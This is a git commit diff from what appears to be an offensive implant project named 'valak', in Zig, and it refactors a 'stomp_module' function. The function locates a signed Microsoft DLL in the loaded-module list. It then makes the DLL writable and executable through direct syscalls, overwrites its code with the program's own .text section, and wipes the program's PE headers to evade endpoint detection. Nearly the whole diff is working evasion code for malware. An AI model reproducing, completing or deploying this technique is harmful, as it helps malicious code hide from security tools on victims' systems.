valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids
This commit is contained in:
+31
-28
@@ -1,13 +1,15 @@
|
||||
// Copies .text into a signed Microsoft DLL, wipes PE headers.
|
||||
// Backing-file integrity checks catch this. PE header zeroing is a known signature.
|
||||
// RWX on signed Microsoft DLL triggers behavioral alert.
|
||||
const win = @import("win32.zig");
|
||||
const std = @import("std");
|
||||
const windows = std.os.windows;
|
||||
const nt = @import("nt.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
pub var g_evasion_relocated: bool = false;
|
||||
|
||||
// Overwrite a signed Microsoft DLL's .text with our .text, then zero our PE headers.
|
||||
// Backing-file integrity checks catch this. PE header zeroing is a known signature.
|
||||
// RWX on signed Microsoft DLL triggers behavioral alert. Minimalist, not bulletproof.
|
||||
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" };
|
||||
|
||||
@@ -15,27 +17,26 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
|
||||
const peb = resolve.get_peb();
|
||||
const ldr = peb.Ldr;
|
||||
const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
const head: *resolve.LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList);
|
||||
|
||||
var target_base: ?*anyopaque = null;
|
||||
var target_size: usize = 0;
|
||||
|
||||
var entry = head.Flink;
|
||||
while (entry != head) : (entry = entry.Flink) {
|
||||
const le: *resolve.LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(resolve.LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
|
||||
const le: *resolve.LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry);
|
||||
|
||||
if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;
|
||||
|
||||
if (target_base == null) {
|
||||
const buf = le.BaseDllName.Buffer;
|
||||
const buf = le.BaseDllName.Buffer orelse continue;
|
||||
const len = le.BaseDllName.Length / 2;
|
||||
for (targets) |target| {
|
||||
if (target.len == len) {
|
||||
var matches = true;
|
||||
var ci: usize = 0;
|
||||
while (ci < len) : (ci += 1) {
|
||||
var c1 = buf[ci];
|
||||
var c2 = target[ci];
|
||||
for (0..len) |i| {
|
||||
var c1 = buf[i];
|
||||
var c2 = target[i];
|
||||
if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
|
||||
if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
|
||||
if (c1 != c2) {
|
||||
@@ -57,20 +58,22 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
|
||||
if (target_base == null) return null;
|
||||
|
||||
const own_bytes = @as([*]u8, @ptrCast(our_base.?));
|
||||
const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes)));
|
||||
const own_bytes: [*]u8 = @ptrCast(our_base.?);
|
||||
const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(own_bytes));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
|
||||
const nt = @as(*const pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(own_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != 0x00004550) return null;
|
||||
const nt_headers: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
|
||||
own_bytes + @as(usize, @intCast(dos.e_lfanew)),
|
||||
));
|
||||
if (nt_headers.Signature != 0x00004550) return null;
|
||||
|
||||
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
|
||||
const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off)));
|
||||
const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(own_bytes + section_off));
|
||||
|
||||
var text_start: ?*anyopaque = null;
|
||||
var text_size: usize = 0;
|
||||
for (0..nt.FileHeader.NumberOfSections) |i| {
|
||||
if (sections[i].Name[0] == '.' and sections[i].Name[1] == 't' and sections[i].Name[2] == 'e' and sections[i].Name[3] == 'x' and sections[i].Name[4] == 't') {
|
||||
for (0..nt_headers.FileHeader.NumberOfSections) |i| {
|
||||
if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
|
||||
text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress));
|
||||
text_size = sections[i].VirtualSize;
|
||||
break;
|
||||
@@ -80,33 +83,33 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
if (text_start == null or text_size == 0) return null;
|
||||
|
||||
var target_mut: ?*anyopaque = target_base;
|
||||
var region_size: win.SIZE_T = target_size;
|
||||
var old_prot: win.ULONG = 0;
|
||||
var region_size: windows.SIZE_T = target_size;
|
||||
var old_prot: windows.ULONG = 0;
|
||||
const st = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&target_mut,
|
||||
®ion_size,
|
||||
win.PAGE_EXECUTE_READWRITE,
|
||||
nt.PAGE_EXECUTE_READWRITE,
|
||||
&old_prot,
|
||||
);
|
||||
if (!win.NT_SUCCESS(st)) return null;
|
||||
if (!nt.NT_SUCCESS(st)) return null;
|
||||
|
||||
const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?));
|
||||
const src = @as([*]const u8, @ptrCast(text_start.?));
|
||||
const dest: [*]u8 = @ptrCast(target_mut orelse target_base.?);
|
||||
const src: [*]const u8 = @ptrCast(text_start.?);
|
||||
@memcpy(dest[0..text_size], src[0..text_size]);
|
||||
|
||||
var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
|
||||
var restore_size: win.SIZE_T = target_size;
|
||||
var new_old: win.ULONG = 0;
|
||||
var restore_size: windows.SIZE_T = target_size;
|
||||
var new_old: windows.ULONG = 0;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&restore_mut,
|
||||
&restore_size,
|
||||
win.PAGE_EXECUTE_READ,
|
||||
nt.PAGE_EXECUTE_READ,
|
||||
&new_old,
|
||||
);
|
||||
|
||||
const old_bytes = @as([*]u8, @ptrCast(our_base.?));
|
||||
const old_bytes: [*]u8 = @ptrCast(our_base.?);
|
||||
const e_lfanew = dos.e_lfanew;
|
||||
@memset(old_bytes[0..64], 0);
|
||||
@memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0);
|
||||
|
||||
Reference in New Issue
Block a user